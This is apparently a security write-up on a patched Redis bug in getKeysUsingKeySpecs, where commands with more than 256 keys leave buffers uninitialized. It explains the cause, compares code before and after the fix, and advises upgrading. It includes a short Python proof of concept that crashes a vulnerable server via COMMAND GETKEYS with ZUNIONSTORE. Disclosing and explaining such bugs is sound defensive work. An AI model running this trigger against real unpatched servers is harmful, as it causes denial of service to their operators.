Introduction
An issue affecting the `getKeysUsingKeySpecs`
functionality in Redis has been patched at 2023-07-11. This bug could result in server crashes when processing commands with multiple key specifications and a total key count exceeding 256. The problem arose from improper memory handling during the allocation and copying of buffers, leaving parts of the data uninitialized. This post explains the root cause of the issue, showcases a PoC to reproduce it, and details the changes made in the fix.
The Issue in Detail
Redis commands that interact with multiple keys use `getKeysUsingKeySpecs`
to extract the relevant keys from arguments. For commands with a high number of keys, such as `ZUNIONSTORE`
, the function failed to properly handle buffer resizing during key extraction.
Key Problems:
- Uninitialized Data: When a command involved more than 256 keys, the function called
`getKeysPrepareResult`
to reallocate a larger buffer. However, the old buffer’s data was not copied to the new buffer, leaving uninitialized entries. - Incorrect Count Handling: The total number of keys (
`numkeys`
) was not updated before calling`getKeysPrepareResult`
, causing the new buffer to overlook previously processed keys.
Proof of Concept (PoC)
Here is a Python script to reproduce the issue:
import redis
# Connect to the Redis server
client = redis.StrictRedis(host='127.0.0.1', port=6379, decode_responses=True)
def create_keys(num_keys):
"""Create a specified number of keys in Redis."""
for i in range(1, num_keys + 1):
key_name = f"key{i}"
client.set(key_name, f"value{i}")
print(f"{num_keys} keys created in Redis.")
def trigger_vulnerability(num_keys):
"""Trigger the getKeys vulnerability using the ZUNIONSTORE command."""
keys = [f"key{i}" for i in range(1, num_keys + 1)]
# Construct arguments for the ZUNIONSTORE command
command_args = ['ZUNIONSTORE', 'target', num_keys] + keys
try:
# Use the COMMAND GETKEYS with ZUNIONSTORE
result = client.execute_command('COMMAND', 'GETKEYS', *command_args)
print("Command executed successfully. Keys retrieved:")
print(result)
except Exception as e:
print("Error while executing the command:")
print(e)
if __name__ == "__main__":
NUM_KEYS = 260 # Number of keys to test the vulnerability
create_keys(NUM_KEYS)
trigger_vulnerability(NUM_KEYS)
Expected Behavior:
- Before the Fix: Redis crashes or returns incorrect results due to uninitialized data in the buffer.
- After the Fix: Redis handles the command gracefully, returning the correct list of keys.
Code Before and After the Fix
Before the Fix:
keys = getKeysPrepareResult(result, count);
Problem: The buffer allocation did not consider result->numkeys
, the number of keys already processed. This caused previously processed keys to be lost when the buffer was resized.
keys[k].pos = i;
keys[++k].flags = spec->flags;
Problem: The k
variable was incremented incorrectly, which could lead to overwriting valid data or leaving parts of the buffer uninitialized.
return k;
Problem: The function returned k
, which did not accurately reflect the total number of keys processed (result->numkeys
). This mismatch caused inconsistencies in how the results were interpreted.
After the Fix:
keys = getKeysPrepareResult(result, result->numkeys + count);
Fix: The buffer allocation now includes result->numkeys
in its size. This ensures that all previously processed keys are copied to the new buffer, avoiding data loss.
keys[result->numkeys].pos = i;
keys[result->numkeys].flags = spec->flags;
result->numkeys++;
Fix: Instead of using k
, the function now updates result->numkeys
after each key is processed. This ensures that the buffer is filled correctly, with no overwrites or uninitialized slots.
return result->numkeys;
Fix: The function now returns result->numkeys
, which accurately reflects the total number of keys processed. This change ensures consistency and reliability when interpreting the results.
Fix
Upgrade redis to version 7.0.12 or higher.